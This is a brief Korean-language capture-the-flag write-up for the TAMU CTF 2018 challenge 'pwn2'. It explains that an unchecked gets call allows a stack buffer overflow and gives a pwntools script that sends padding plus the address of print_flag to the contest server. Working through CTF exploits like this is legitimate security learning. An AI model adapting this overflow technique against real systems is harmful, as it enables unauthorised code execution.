[TAMU ctf 2018] pwn2

             main에서 echo함수 불러오고

              

            gets 로 받으니깐 overflow 나겠네요

그리고 여기에도 마찬가지로 print_flag 함수가 있습니다! 그렇다면 overflow 시킨 다음 print_flag를 실행하게 하면 되겠네요

print_flag 주소를 구하고 익스 하겠습니다

이렇게도 풀 수 있고

이렇게 익스 코드 짜서 풀 수도 있네요!

from pwn import *
 
s = remote("pwn.ctf.tamu.edu",4322)
 
payload=""
payload+="\x90"*243
payload+=p32(0x804854b) #print_flag()'s addr
 
sleep(0.5)
 
s.sendline(payload)
 
print s.recv()